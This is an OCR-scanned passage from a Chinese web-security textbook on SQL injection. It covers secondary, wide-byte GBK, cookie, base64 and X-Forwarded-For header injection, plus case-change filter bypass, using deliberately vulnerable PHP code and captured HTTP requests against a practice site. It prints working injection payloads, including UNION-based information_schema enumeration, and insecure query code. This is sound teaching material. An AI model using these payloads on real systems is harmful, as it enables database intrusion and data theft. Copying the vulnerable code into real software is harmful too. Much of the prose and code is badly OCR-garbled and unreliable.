426 THXRFNRIBOHT

TOREANH L php TN ARSI R ER, SEIL T MR MRS, R KR
GETZ#{username f1Z4{(password, 445 ¥ username Mlpassword#FE:2ISQLIES], i F
insertiB A EHEEF . HTZ%username i fladdslashes#H {75 X (# XL T #5]5,
SEES|SHEAE), S¥password#E1T TMD5IE A, B LALAL ANFEAESQLIENIR
P
<?php

$con=mysqli_connect("localhost", "root", "root","sql");
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5

if (mysqli_connect_errno())

{
echo "HEREKM: " . mysqli_connect_error();
¥
$username = $_GET['username'];
$password = $_GET[ 'password'];

$result = mysqli_query($con,"insert into users( username’, password ) values
('".addslashes($username)."","'".md5($password)."")");

echo "# id A: " . mysqli_insert_id($con);
>

477 [flusername=test'&password=1234561F, AT FISQLIEA]A:

insert into users( username’, password ) values ('test\'’,
'el@adc3949ba59abbe56e057120f883e" ).

ME4-45h 8RR BT IR R, AR 4 dtest
username password email address
: admin 5 e10adc3949ba59abbe56e057f20f883e  1@1.com 123123
§ test' i e10adc3949ba59abbe56e057f20f883e

E4-45 $EABIBIRETHEE

EZIRENT, 2.phpF RIS INT R, B GETSHIDH Mint2e A (Fr 1k
BHERISQLIEAIN, FAESQLIEANIRIA), ARG Flusers # 3R BUIDXT M ffJusername
35 BllpersonF 1 & tHlusername X . I EHE

<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())

{
echo "HEHEKM: " . mysqli_connect_error();
¥
$id = intval($_GET['id']);
$result = mysqli_query($con,"select * from users where “id =". $id);

$row = mysqli_fetch_array($result);
$username = $row['username'];
$result2 = mysqli_query($con,"select * from person where
“username’="".$username."'");
if($row2 = mysqli_fetch_array($result2)){
echo $row2['username’'] . " : " . $row2[ 'money'];
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}else{
echo mysqli_error($con);

?>

{8 R AL V&S 5 Susername AT X, TEE— L HRERATEM K P & Ztest', A
PATHISQLIBEE] A :

select * from person where “username ='test''

BESHHASQLIFAYF, HTE T RIS, PR

427 BEFIIENBE

B AT B R http:/www.ccctf.cn/kzj.php?id=1 .

Viilid=1', T HIIR A4 R anE4-46FTR, BRFFEERE, ke 7T —1MEX
?4“: (&%MI)O

or - q-n‘: x ula/s o (¥ 1=Antuih1 Intel Mac 08 X 10.12; rv:53.0)
[ Gecko/20100101 Firefox/53

200 OK
¢, 02 Dec 2017 14:53:09 GMT

y: PBP/S.6.30
lose
0.9,4/%;%0.8

ext/html; charset=0TF-8
: 94

Dumb : Dumb</font>
| <br>The Query String is : SELECT ¢ PROM users WNERE fid='1\"" fmurr
g 0,1<br>

Xl
o qos. qo:

El4-46 25| SHEX

MIREI 4R VR, S8id=17E51E FE RN 2R SaEKr. XA
id=1'"F, FENKIEE]S X T (RAIEL) %YL, SBSHIDLERRAT SH
AE, FrUE—RIERT, HARSEESQLIENFIAK . Adh—MEs, Ml
W8 PE I 4m T A GBKEY, AILMERREZETIEAN, TFEI &R E L E L m—
N%df, BEIMESS, FARPIHIHIEN%S5c, TMAEGBKFIEF, %d%S5ckEA
FOE”, FTLUXE, HE| S ThikiR, REHMySQLEEE MR, WE4-47FR.

S S—
IGET /k-j phpsid=18af’ BTTE/1.1 7]
|Bost: www.ccctf.cn 3 Date: Sat, 02 Dec 2017 15:01:01 GMT
{user-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) E -rv-r hpache

-c.ckouomom Firefox/53.0 E X-Powered-By: PHP/5.6.30

|Acce Contente Length: 162

e S—
i1 s'ny/l 1 200 oK

v'nxuhmx appliaation/shtalsaal, application/ml;q=0.0; 4 /k1q=0.0
=h-Cl, zh;q=0.8,en-05;q=0.5,en;q=0

Connection: clof
| Content-Type: Cext/html; charset=UTF-8

e deflate

{ | You hove -« erxor im your SQL syntax; check the manual that
|0pgrade-Insecure-] Sxe oquests: 1
|

= correspol to your HySQL server version for the right syntax to use
) near 10\ LINIT O,1' at line 1

E4-47 FARFHRIZASISHEE
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HT8MARZSHId=1", B8SQLIEAZ T — 855, FrlFEMHERRRKE
BAET B HHEE| S, Yiaid=1%df'%23, TR [E K45 R a0 E4-48 s, 7] LAE 3,

SQLIE A & & iEEME .

Php?id=10df +823] BTTP/1.1

Host: www.ccctf.cn

Dser-agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept ¢

text/htnl,application/xhtml+xml, applicaticn/xml;q=0.9,+/%;q=0.8
Accept-Language: =h-Cll,zh;q=0.8,en-05;q=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: close

|6pgrade-Insecure-Requests: 1

|
m4-48 FIRERTESSIS

ey o g s

BTTP/1.1 200 OK

Date: Sat, 02 Dec 2017 15:02:02 GMT
Server: hpache

%-Powered-By: PHP/5.6.30

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 97

Dumb : Dumb</font>
<br>The Query String is :
0,1<br>

SELECT * PROM users WHERR id='1€\" &' LIMIT

{§i Fland 1=1Fand 1=23F—FIWriE N, Vi l8lid=1%df and 1=1%23f1id=1%df and

I._.—mm
|Bost: www.ccctf.cn

Gecko/20100101 Firefox/53.0

hecept:

Accept-Language: zh-Cli,zh;q=0.8,en-05;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

1=2%23, &A1 45 R 1 El4-49 A1 &1 4-50 7R o
GET /kz3.php?id=18df tand+1=1023 BTTP/L.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
text/html,application/xhtml+xml,application/xml;q=0.9,*/%;g=0.8
Connection: close

A
.

—
TTP/1.1 200 OK

Date: Sat, 02 Dec 2017 15:04:40 GMT
server: Apache

X-Powered-By: PBP/5.6.30

Connection: close

Content-Type: text/htnl; charset=0TF-8
Content-Length: 104

Dumb : Dumb</font>

|Accept:

Opgrade-Insecure-Requests: 1 <br>The Query String is : SELECT * PROM users WHERE id='1€\' and

1=1%' LIKIT O,1<br>
[TSIRUEN '

El4-49 ifElid=1%df' and 1=1%23rTAE LR

[GET 7K=3.php?id=19df +and+1=2823 BITP/1.1 Ta || BTTP/1.1 200 OK

{Host: www.occtf.cn o | Data: Sat, 02 Dec 2017 15:04:56 GHT

|0ser-agent: Mozilla/5.0 (Hacintosh; Intel Mac 05 X 10.12; rv:53.0) Server: Apache

1Gecko/20100101 Firefox/53.0 X-Powered-By: PHP/5.6.30
Connection: close

|text/htnl,application/xhtml+xml, application/xul;q=0.9,4/%;q=0.8 Content-Type: text/html; charset=0TF-3

hAccept-Language: zh-CN,zh;g=0.8,en-05;9=0.5,en;q=0.3 Content-Length: 93

{hccept-Encoding: gzip, deflate

|Connection: close i </font>

|Upgrade-Tnsecure-Roquests: 1 | <br>The Query String is : SELECT * PROM users WHERE id='1€\' and

| 1=24' LIMIT O,l<br>

|

[E4-50

Yand 1=1F2FREEHFE, and 1=2F2FREI4E %, AT AAIWZSHIDEESQL
ENIRIR , #:55 {# F order by B W SR BE R M FBAE , 1557 BEUN3, nE4-51
Fise

GET /kz3.php?id=18af fordertby+3423 HTTP/1.1
Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X% 10.12; rv:S3.0)
Gecko/20100101 Firefox/53.0

Accept:
text/html,application/xhtml+xnl,application/xml;q=0.9,%/4;q=0.8
Accept-Language: zh-Cl,zh;g=0.8,en-05;q=0.5,en;q=0.3
hccept-Encoding: gzip, deflate

Connection: cl
Upgrade-Insecur

Elid=1%df' and 1=2%23K T E IR

BTTE/1.1 200 OK
Date: Sat, 02 Dec 2017 15:07:00 GHT
Server: Apache

X-Powered-By: PEP/5.6.30

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 107

Dumb : Dumb</font>
<br>The Query String is :
3§° LIMIT O,l<br>

Requests: 1 SELECT * PROM users WHERE id='1€\' order by

E4-51 REHEERNFEHY
ATHEE SR T EFRAS, BrAr] LEH Union&E#. 5UnionfEA
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—FE, IE B UnioniEA)Zunion select 1,2,3, A7 ik T iR [B UnionZ ) (45 5,
EAEIDRESC T 8L, 4 R nE4-52FTR .

TET /K73 phP7iae18aE Tuniontaelectel, 3, 3833 HITRIL] (13 BTTP/1.1 200 O

3

Bost: www.ccctf.cn P | Date: Gar, 02 n.c 2017 15:12:35 GuT

Oser-Agent: Hozilla/s-0 (Macintoshi Intel Mac 05 X 10.12j rvis3.0) | Gerver: Apach

Gecko/20100101 Fixefox/s3. | Xeroweredisy: PER/S.6.30

Accep! ~ | Connection: close

;.xt/hnx appl. xhtml+xl xml;qe0. ’ */%;qe0.8 Content-Type: text/html; charset=0TF-§

Accept-Language: zh-CH,zh;q=0.8,en-~ us;q-n.s,-n:q- 2 | Content-Length: 110

Accept-Encoding: gzip, deflate f

Connection: close § 2 : 3</font>

Upgrade-Insecure-Requests: 1 <br>The q-u, String is : nucr * PROM users WEERE ide'-1€\" union

El4-52 Z&UnioniEA

RIEZRE T 2N EE R LRI BIEERES (database()), EAIN:
id=-1%df' union select 1,user(),3,%23

IR Bl 45 R an B 4-53 R

=u Tk=3 - pnp?ld-—l\d( +uniontselectl,user(),3823 HTTR/1.1
ot v,
o

e
BTTP/1.1 200 OK
Dhtas Kak, 92 Beai2017 1R 1ITE e

| Server: Apac

| x-Fowered- !y “eup/5.6.30
:ennxnon close
Content.-

| content-! Lonq:h

o5 Nosiitars.o {Naciatosh Iatel Mac 08 X 10.12) £vi83.0)
100101 Firefox/53.0

ol
Text/heml,applicat 11g=0.9,%/21q=0.8
Accept. hﬂqm-::h ;qa-.nu,qns-n,qo)
Acoept-Encoding: guip, detlate

Connection: clos:

Oparede-Tnseoure-Requestss 1

/htwl; charsetsuTr-8
28

| nnnu 1host : 3</fo
| <br>The Query String u ; SELECT * PRON users WHERE ide’'-19\' wsion
i user(),31' LINIT O,1<br>

[#l4-53 3kHEldatabase()
BWBIEENREN, —BFEHTER.

select table_name from information_schema.tables where table_schema=’sql’ limit ©,1

HRME, HTRS|SHHENL 2E3HZHRFL, SHSQLIEF M, Filt
RFBEMMH R —MI5E: REER. MEE— I MEREGY, BRN— /&g,
TR SUE B R R A KE A

select table_name from information_schema.tables where table_schema=(select databse())
limit 0,1

ATLLE R, A Htable_schema='sql'Z% i T table schema=(select database()), &lA
select database() 45 ik 2 'sql', Eﬁz&’ﬁ%ﬁlﬁl R E4-54FTR .

GET ]
/%23 .php?id=-18af " ct+l, (sel nformation_s
cheme.tables+wherettable -cnm--(ul.cuduabuc(nnmmo 1),3323
BTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept:
text/html,application/xhtml+xnl,application/xml;q=0.9,*/*;q=0.8
Accept-Language: =h-CN,zh;q=0.8,en-05;g=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: close

Opgrade-Insecure-Requests: 1

=
A || BRTP/1.1 200 OK
| Date: Sat, 02 Dec 2017 15:23:20 GuT
| Server: Apache
| X-Powered-By: PHP/5.6.30
| Connection: close
Content-Type: text/html; charset=UTF-8

| Content-Length: 212

| emails : 3</font>
<br>The Query String is : SELECT * PROM users WHERE id='-1€\' union
select 1,(select table_name from informatios_schema.tables where

| table_schems=(select database())limit 0,1),3%  LINIT O,l<br>

E4-54 REBIREERRS
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MIREIZRATUUE S|, HIEERNE — R4 Remails, WREEHEHMIERSL,
BEEMimitE T, XEABEE. FHUTEUZRAE Hemails® B FE.

select column_name from information_schema.columns where table_schema=(select
database()) and table_name=( select table_name from information_schema.tables where
table_schema=(select databse()) limit 0,1) limit 0,1

XEMHT=FEMHE, £ —/ZRtable schema, ERRELHKE, H _JEZME
== /2table namef K E. WATATLLERNEA)FA P Mimit, 77— MimitfEH] 2R 4 FI
o BN USRI BRARIRT . X B E WA Remails®, TiZusers®, NFE
B limit{E . El4-550T7~, & PE/EQUnioniE AfTR, XEAHES.

I Fy BTTP/1.1 200 OK

{/kz3.php?4d=-11df ‘+union+select+l, (selectscolunn_name+from+information_ Date: Gat, 02 Dec 2017 15:34:25 GuT

{schena.co. able select+datab: ))+and+table_name=(s Server: hpache
jelect+table_name+fron+information_schema.tables+where+table_schema=(sel %-Powered-By: PHP/5.6.30

{ect+database())limit+0,1)1limit+0,1),3823 GTTR/1.1 Connection: close

{Host: www.ccctf.cn | Content-Type: text/html; charset=UTF-8

{0ser-agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) | Content-Length: 324

|Gecko/20100101 Firefox/53.0

|Accept: id : 3</font>

{text/htnl,application/xhtml+xnl,application/xml; 9209, 4/% i9=0.8 <br>The Query String is : SELECT * PROH users WHERE id='-1€\' unien
|Accept-Language: zh-Cl,zh;g=0.8,en-05;g=0.5,6n;G=0 select 1,(select colums_same from information_schema.columns where
|Accept-Encoding: gzip, deflate table_schema=(select databsse()) and table_name=(select table_name
1cennmuon close from Information_schema.tables where table_schema=(select
|0pgrade-Insecure-Requesta: 1 datobase())limit 0,1)limit 0,1),34' LIMIT O,1cbr>

E4-55 REBEEFRZ

428 TEFBIEANRBIT

ERFIEANTE S, 2P RIGETSHUD, H 5 Z4UD/# Faddslashes()#% X,
RIEPHEEISQLIBAF, #4THEW, BT,

<?php
$conn = mysgl_connect('localhost’, 'root', '123456') or die('bad!');
mysql_select_db('test', $conn) OR emMsg( "Hi#i iRk IL");
mysql_query("SET NAMES ‘gbk'",$conn);
$id = addslashes($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT @,1";
$result = mysql_query($sql, $conn) or die(mysql_error());
$row = mysql_fetch_array($result);
if($row)
q
echo $row['username']." : ".$row['address'];
}

else

1
print_r(mysql_error());
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}
?>
</font>
<?php
echo "<br>The Query String is : ".$sql ."<br>";
?>

S5 Hid=1"", AT HISQLIEF]AN:
SELECT * FROM users WHERE id='1\""

A LAE BB S A “\” B, FUE—RBRT, REEEAN, Hf
FEEIE FE A AT AT T SET NAMES 'GBK', ¥4 B A% 7 THGBK, Arblithit
AR FENR .

FEPHPH, ilidiconv(BEAT gmAGFEHLET, AT REAFTE B FRAENIRIA

4.2.9 cookie SEANINTE

cookieVE AL HIE:  http://www.ccctf.cn/cookie.php.

KILURLH % EGETS 4, (HRWMHIREIEYR, f#fHBurp SuitefIBEHER, K
McookieF FF7EId=1Z%, WE4-56FT7~.

/GET /cookie.php HTTP/1.1 A | HTTP/1.1 200 OK
|Host: www.ccctf.cn Date: Fri, 15 Dec 2017 15:25:59 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X Server: Apache

110.12; rv:53.0) Gecko/20100101 Firefox/53.0

|Accept: f
{text/html,application/xhtml+xml,application/xml;g=0.9,*/*

X-Powered-By: PHP/5.6.30

Set-Cookie: id=1

Content-Length: 15

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

;g=0.8

Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
|Accept-Encoding: gzip, deflate

\Cookie: id=1

|connection: keep-alive

|Upgrade-Insecure-Requests: 1

Dumb : Dumb<br>

El4-56 cookie#fiE

1B cookieF fIid=1Mid=1", 4R J5 B IR Ui 1% URL, & LT R B4R . 8Tk,
4l E K cookieFid=1AHid=1 and 1=1F1id =1 and 1=2, FXHE, FIZAEHES
FESQLIENIRIR, iR [\ 45 B 40 B 4-57 1 E4-581 7%, 15 HicookieH I IDIFEESQL
FEANRIZE L
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! HTTP/1.1 200 OK

| Date: Fri, 15 Dec 2017 15:27:46 GMT
| Server: Apache

| X-Powered-By: PHP/5.6.30

GET /cookie.php HTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Accept: Set-Cookie: id=1
text/html,application/xhtml+xml, application/xml;qg=0.9,6*/* | Content-Length: 15
;q=0.8 Keep-Alive: timeout=5, max=100

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Cookie: id=l+and+l=1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

El4-57 ifiElid=1 and 1=1048R

|GET /cookie.php HTTP/1.1

Host: www.ccctf.cn

|User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
110.12; rv:53.0) Gecko/20100101 Firefox/53.0

. || Connection: Keep-Alive
|| Content-Type: text/html; charset=UTF-8

|| Dumb : Dumb<br>

HTTP/1.1 200 OK

Date: Fri, 15 Dec 2017 15:29:32 GMT
| Server: Rpache

X-Powered-By: PHP/5.6.30

|Accept: Set-Cookie: id=1
|text/html,application/xhtml+xml, application/xml;g=0.9,*/* Content-Length: 7
11gq=0.8 Keep-Alive: timeout=5, max=100

EAccapt-Languaqe: zh-CN,zh;g=0.8,en-US;q=0.5,en;g=0.3
|hAccept-Encoding: gzip, deflate

|Cookie: id=l+and+l=2

|connection: keep-alive

|Upgrade-Insecure-Requests: 1

Connection: Keep-Alive
| Content-Type: text/html; charset=UTF-8

t <br>

E4-58 iflalid=1 and 1=2MI% R
#2355 {# Forder by & F# B, 1 FHUnionyF N\ 558 B IRIEN o

4210 cookie JEANREL AT

i it$ COOKIE &E 3k B 3 % 28 cookie H AL #E ,  7E cookieyd: A\ T I H #2 7 i@ it
$_COOKIEZRH ZHID, A5 EHEEIDH#EElselectiff)h BT H M), WMRHLER,
¥ 45 Rk th B TmE, AR T BR

<?php
$id = $_COOKIE['id'];
$value="1";
setcookie("id",$value);
$con=mysqli_connect("localhost","root","root","sql");
if (mysqli_connect_errno())
{
echo "H#ERELEM: " . mysqli_connect_error();

}
$result = mysqli_query($con,"select * from users where “id =".$id);
if (!$result) {

printf("Error: %s\n", mysqli_error($con));

exit();
}
$row = mysqli_fetch_array($result);
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echo $row['username’'] . " : " . $row[ 'password'];
echo "<br>";
?>

XEFALER, BTERA I EcookieH S HID H BB HHEFISQLIEA F, FTLA
FAESQLIE AR . 247Ecookie ¥ ilid=1 union select 1,2,3%230}, AT HISQLIEH]
A

select * from users where “id =1 union select 1,2,3#

JERS, SQLiEE] RS A4y Aselect * from users where 'id'=1Flunion select 1,2,3# 2%,
FIF 2 —2k184) (Union®E#]) HtAT PASRER B 2 A i $58E .

4211 baseb4d SENTTH

MRtk :  http://cectf.cn/sql/base64/base64.php?id=MQ %3d %3d.

MURLH A LUE H, IDSHZA idbase64ity (%3dE=HIURLYASHE), fliD)5
KIIDAL, N E—A 5] 5 H—iE i libase644mhd, WE4-59F77R .
e CETEY @ Basced Encode

1% Base64 Decode

= @ URLencode :
" Enable Postdata | Enable Refaa é# URLdecode E
R gy HEX Encoding » 20
HEX Decoding >

4

E4-59 f1 '#{Tbase644mi3

25 Hlid=1"9mf2 /5 IR EERT (http://ccctf.cn/sql/base64/base64.php?id= MSc%3d), TT
MR [E4EE. 1 and 1=1/11 and 1=2/Ibase644wi%4> HNMSBhbmQgMTOxFIMSBhbm

QgMTOy, FV71aid=MSBhbmQgMTO0xA1id=MSBhbmQgMTO0y, & il 5 & 4-60
FE4-61F7R

ré Load URL  http://ccctf.cn/sql/base64/base64.php
2id=|
%  SplitURL ?7id=MSBhbmQgMTOx

,,_;} Execute
ID:1

user:jaosi

pass:7126871

now useselect * from users where id=1 and 1=1

E4-60 iialid=MSBhbmQgMTOXKIZESR
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| http://ccctf.cn/sql/base64/base64.php
?id=MSBhbmQgMTOy

s e

" Enable Postdata  Enable Referrer

now useselect * from users where id=1 and 1=2

E4-61 ifiElid=MSBhbmQgMTOyHILE R
MR EIZ R LES], Viid=1 and 1=18, WHRESid=1MRPSER, TH
id=1 and 1=2K}, TUEHR[ESid=1NE IR, Bz FESQLIE NIFH .
B%, ffHorder byEHIFB, 18 FUnionJ7 V%58 UL IRIEN

4.2.12 baseb4d ;EANRIZOHT

fEbase64VEANTLHIH, FEFFIRIGETSHUD, F|FMbase64_decode()Xf ZHIDHEAT
base64ffiD, 45 EHR ARG 5 I SidBf B B selectif U AT &, BT whilefEHHs
B R HEAE, B TR,

<?php
$id = base64_decode($_GET['id']);
$conn = mysql_connect("localhost","root","root");
mysql_select_db("sql",$conn);
$sql = "select * from users where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "ID:".$row['id']."<br >";
echo "user:".$row[ 'username’]."<br >";
echo "pass:".$row[ 'password']."<br >";
echo "<hr>";
}
mysql_close($conn);
echo "now use".$sql."<hr>";
?>

BTG T IR J5 118id,  EoESid BB P RISQLIE A, BT LAFEAESQL
ENRF. 2ViAid=1 union select 1,2,3# (Vilalit, et Tbase644miL) B, HATHY
SQLiEA) N :
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select * from users where “id =1 union select 1,2,3#

B SQLIEA) /] BA 4> Aselect * from users where “id'=1Flunion select 1,2,3% %, F
FHE —26184]) (UnionZx i) mUAT PASREUEHE 2 508 .

XFh I e A A AR, B, WRAEWAF, UWAFSS &+ 2
HIDFITHE, (HiHT1%+ HIDE T base64miD, Fr LLLE WAF/R A 7] REAR I AS
B fERACHS, HEmsiid T WAFRE .

4213 XFF EANIEH

XxFFAE AN k. http://www.ccctf.en/sql/xff.php.

it Burp SuiteNEHIEAE, T LULEEHTTPER KT H - LHESH
X-Forwarded-for. X-Forwarded-Forf&i#RXFF:k, BREFZREF imESLMIP, BiZEK
X-Forwarded-for B 7T LL i 25 3R 1P, ¥ X-Forwarded-fori%t B 4127.0.0.1, XG5V
HiZURL, WHR[EIES, E4-62F7R.

GET /sql/xff.php HTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,%/*;g=0.8
Accept-Language: zh-CN,zh;q=0.8,en-Us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

X-Forwarded-for:127.0.0.1

Upgrade-Insecure-Requests: 1

|| BTTP/1.1 200 OK

|| Date: Tue, 19 Dec 2017 09:11:20 GMT

. || Server: Rpache

| X-Powered-By: PHP/5.6.30

| Keep-Alive: timeout=5, max=100

|| Conmnection: Keep-Alive

|| Content-Type: text/html; charset=UTF-8
. || Content-Length: 23

| testlll : testlllli<br>

E4-62 XFFk

¥ X-Forwarded-fori% & 4127.0.0.1', F{RKViAZ%ZURL, TR [EMySQLAIHREE
58, ERINE4-63fT7R.

GET /sql/xff.php RTTP/1.1 a | HTTP;).! 303 OK

Host: www.coctf.cn || Date: Tue, 19 Dec 2017 09:12:149 GMT

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0) | Server: Apache

Gecko/20100101 Firefox/53.0 || X-Powered-By: PHP/5.6.30

Acceptt | Keep-Alive: timeout=5, max=100

text/html,application/xhtml+xml,application/xml;q=0.9,*/+;q=0.8 | connection: Keep-Alive

Accept-Language: zh-CN,zh;g=0.8,en-0S;q=0.5,en;q=0.3 | Content-Type: text/html; charsetsUTF-8

Accept-Encoding: gzip, deflate Content-Langth: 166

Connection: keep-alive

X-Forvarded-for:127.0.0.1" | Error: You bave am error in your SQL syntax; check the manual that

Upgrade-Insecure-Requests: 1 | corresponds to your MysQL server version for the right syntax to use
|| mear ''127.0.0.1°'' at line 1

E4-63 ifja)X-Forwarded-for:127.0.0.1'045 R

¥ X-Forwarded-for%) ##% & 9127.0.0.1' and 1=1##1127.0.0.1' and 1=2#, FIX Vil
ZURL, % Rin&4-64F1E4-65F77R-
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HTTP/1.1 200 OK
|| Date: Tue, 19 Dec 2017 09:15:09 GMT
| Server: Apache
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
| Connection: Keep-Alive
|| Content-Type: text/html; charset=UTF-8
| Content-Length: 23

GET /sql/xff.php HTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,*/#;g=0.8
Rccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

X-Forwarded-for:127.0.0.1' and 1=1#

Upgrade-Insecure-Requests: 1

testlll : testllll<br>

E4-64 ifla)X-Forwarded-for:127.0.0.1"' and 1=1#M45R

GET /sql/xff.php HTTP/1.1 A HTTP/1.1 200 OK

Host: www.ccctf.cn Date: Tue, 19 Dec 2017 09:15:52 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 10.12; rv:53.0) server: Apache

Gecko/20100101 Firefox/53.0 | X-Powered-By: PHP/5.6.30

Accept: | Keep-Alive: timeout=5, max=100
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;gq=0.8 Connection: Keep-Alive
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate 1 Content-Length: 8

Connection: keep-alive

X-Forwarded-for:127.0.0.1' and 1=2# s <br>
Upgrade-Insecure-Requests: 1 i

E4-65 ifjalX-Forwarded-for:127.0.0.1"' and 1=2#K4ER

T T AR (B 45 5, T DL Y it i AE AESQLYE N IRTR, #5355 AT LA F order
by Wi R I F B EE, RN AR FE P EEANFE, 23 {E F UnionE ) 7E
AN, B X-Forwarded-for:127.0.0.1' union select 1,2,3,4#, WIE4-66/77x.

GET /sql/xff.php HTTP/1.1 A HTTP/1.1 200 OK

Host: www.ccctf.cn Date: Tue, 19 Dec 2017 09:18:06 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0) Server: Apache

Gecko/20100101 Firefox/53.0 X-Powered-By: PHP/5.6.30

Accept: Keep-Alive: timeout=5, max=100
text/html,application/xhtml+xml, application/xml;q=0.9,*/*;g=0.8 Connection: Keep-Alive
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate Content-Length: 10

Connection: keep-alive

X-Forwarded-for:-127.0,0.1' union select 1,2,3,4# | 2 1 3<br>
Upgrade-Insecure-Requests: 1 |

E4-66 {ERUnion;EAN
B3, {3 HUnionE N7 1E5E B IRFEN

4214 XFF 3EARESHT

PHPH ) getenv() B EUH T 3R — MR AERE, LT $_SERVERE$_ENV,
iR (Bl AR AR B X B MR, R IR SR AR B AN E R [HIFALSE

fi DL R ARES RO AT SRR o [P ik, 2 5 5 I W B | A AEHTTP L ¥ 2 $
HTTP_CLIENT IP, WiRFE, WIKLASip, WRAFLE, WHW R EFEHTTPLE
ZHHTTP_X_FORWARDED_FOR, UIRfFE, WKL Sip, WRAFE, NWAHHTTP
LER S HREMOTE _ADDRIRZ: Sip.
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<?php
$con=mysqli_connect("localhost","root","root","sql");
if (mysqli_connect_errno())
{
echo "KM : " . mysqli_connect_error();
}
if(getenv("HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv("HTTP_X_FORWARDED_FOR")) {
$ip = getenv('HTTP_X_FORWARDED_FOR");
} elseif(getenv('REMOTE_ADDR")) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$result = mysqli_query($con,"select * from user where “ip ='$ip'");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));

exit();
i
$row = mysqli_fetch_array($result);
echo $row['username’'] . " : " . $row[ 'password'];
echo "<br>";

?>

TR, RKSipPtikEselectiFf), AJERE S R B 7 H L.

B FHTTPLESEZ AT LAyi&E R, BT PART A I — AN 3k 35 8 CLIENT IPEL
X_FORWARDED FOR. i %X FORWARDED FOR =1'union select 1,2,3%23,
HATHISQLIEA) A

select * from user where “ip ='1"' union select 1,2,3#'

I SQLIEA) AT BA%> HAselect * from user where “ip'='1'"Flunion select 1,2,3# 4%, #l
FH8E — 46184 (union®XH)) T LASREXEHE P+ A 35088 .

4.3 SQLFANZEEHEA

431 RINBZEITFAN

KNG Gt iE Nt http:/ccctf.en/sql/1.php?id=1.



F4F WebZLBREH 4 127

Py alid=1", KT HMySQLAE 1R, 2417 [Alid=1 and 1=18¢, TU & [€]“no hack”,
EARAREERT, WAL, SHAXBT XDNERNFRERSEE, WAnd
1=1 (ERFBR/NSHF LA, WaNd 1=1, AND 1=1%), " LAE i/ did=1 And 1=1
i TR [F Sid=1M R4S R, Vilaid=1 And 1=25 TR E Hid=1 T FKE R, 58
HAFFESQLIEANIRIF ML 1L, tnE4-67H1 E4-68FT7n .«

t—— . teasam,
GET /sql/l.php?id=1+And+1=1 HTT®/1.1 [a | HTTP/1.1 200 OK

Host: ccctf.cn > Server: nginx/1.8.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X | Date: Sat, 02 Dec 2017 17:09:24 GMT
10.12; rv:53.0) Gecko/20100101 Firefox/53.0 } Content-Type: text/html; charset=UTF-8
Accept: | Connection: keep-alive

text/html, application/xhtml+xml, application/xml;q=0.9,%*/* Vary: Accept-Encoding

;q=0.8 | X-Powered-By: PHP/5.6.30
Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;q=0.3 . Content-Length: 37

Accept-Encoding: gzip, deflate |
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

E4-67 ifidlid=1 And 1=1F)4%R

GET /sql/1.php?id=1+And+1=2 HTTP/1.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S8 X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

|
. admin : admin<br>

| HTTP/1.1 200 OK

Server: nginx/1.8.1

Date: Sat, 02 Dec 2017 17:09:50 GMT
Content-Type: text/html; charset=UTF-8

